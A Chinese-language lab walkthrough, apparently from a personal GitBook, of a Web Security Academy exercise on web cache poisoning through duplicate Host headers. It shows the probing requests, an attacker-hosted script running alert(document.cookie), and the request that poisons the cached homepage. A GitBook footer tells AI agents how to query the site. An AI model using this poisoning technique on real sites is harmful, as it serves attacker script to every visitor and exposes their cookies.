> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/host-header/web-cache-poisoning-via-ambiguous-requests.md).

# 通过歧义请求进行 Web 缓存投毒

### 通过模糊请求进行 Web 缓存投毒

**实验说明**

这个实验存在一个 **Web 缓存投毒** 由于处理方式上的差异 **缓存系统** 和 **后端服务器** 解释模糊请求。/ 一名合法用户定期访问该站点的主页。

\*\*目标：\*\*/ 投毒缓存，使主页运行 `alert(document.cookie)` 在受害者的浏览器中。

**初步观察**

* HTTP 响应包含一个指示 30 秒\*\*缓存年龄的标头（`Age: 30`），证实使用了缓存机制。
* 服务器的行为会根据请求的结构而变化，尤其是在 `Host` 请求头。

<figure><img src="/files/47584d4e3cff4aa6cd0d5ac85e0b6e440692524a" alt=""><figcaption></figcaption></figure>

**使用无效 Host 进行测试**

更改 `Host` 标头为一个不存在的值：

```http
Host: wfwfkowf.com
```

返回的响应是 Gateway Timeout 错误，表明服务器正试图解析这个值：

{% code overflow="wrap" %}

```html
<html>
    <head>
        <title>
            服务器错误：Gateway Timeout
        </title>
    </head>
    <body>
        <h1>
            服务器错误：Gateway Timeout (1) 连接到 wfwfkowf.com
        </h1>
    </body>
</html>
```

{% endcode %}

此方法被阻止，因此无法直接利用

<figure><img src="/files/fe387a6b6866a2c406832bf77df9246c45b42975" alt=""><figcaption></figcaption></figure>

**使用两个 Host 标头**

发送 **两个 `Host` 在同一请求中发送标头**:

```http
Host: 0a7600890341e19d80ad0d880001003c.h1-web-security-academy.net
Host: test.com
```

* 应用程序正常响应。
* 该 **第二个 Host** 的值会反映在客户端加载的资源中（例如在一个 `src` 属性中）。

<figure><img src="/files/bbd4e9c716841b301d09358a4c1febcf3a58defb" alt=""><figcaption></figcaption></figure>

这揭示了缓存与后端之间存在不一致的 \*\*解释\*\*

**载荷准备**

在托管服务器上，创建一个 JavaScript 文件：

/resources/js/tracking.js

内容：

```javascript
alert(document.cookie);
```

<figure><img src="/files/90bcbfd3ff42a35a2d7a4d907750152bd8a1d3bf" alt=""><figcaption></figcaption></figure>

**缓存投毒**

发送一个新的请求，包含两个 `Host` 标头，第二个指向攻击者服务器：

```http
Host: 0a7600890341e19d80ad0d880001003c.h1-web-security-academy.net
Host: exploit-0a78008803c6e19880480c08010e0021.exploit-server.net
```

* 后端接受了该请求。
* 缓存记录了投毒响应。

<figure><img src="/files/7980c40f87f84f0a15fbd91119dc7f7086aa168f" alt=""><figcaption></figcaption></figure>

主页现在引用了托管在攻击者服务器上的 JavaScript 脚本。

<figure><img src="/files/6acb28d491fa122399463badbbaf89d005f191ae" alt="" width="545"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/host-header/web-cache-poisoning-via-ambiguous-requests.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
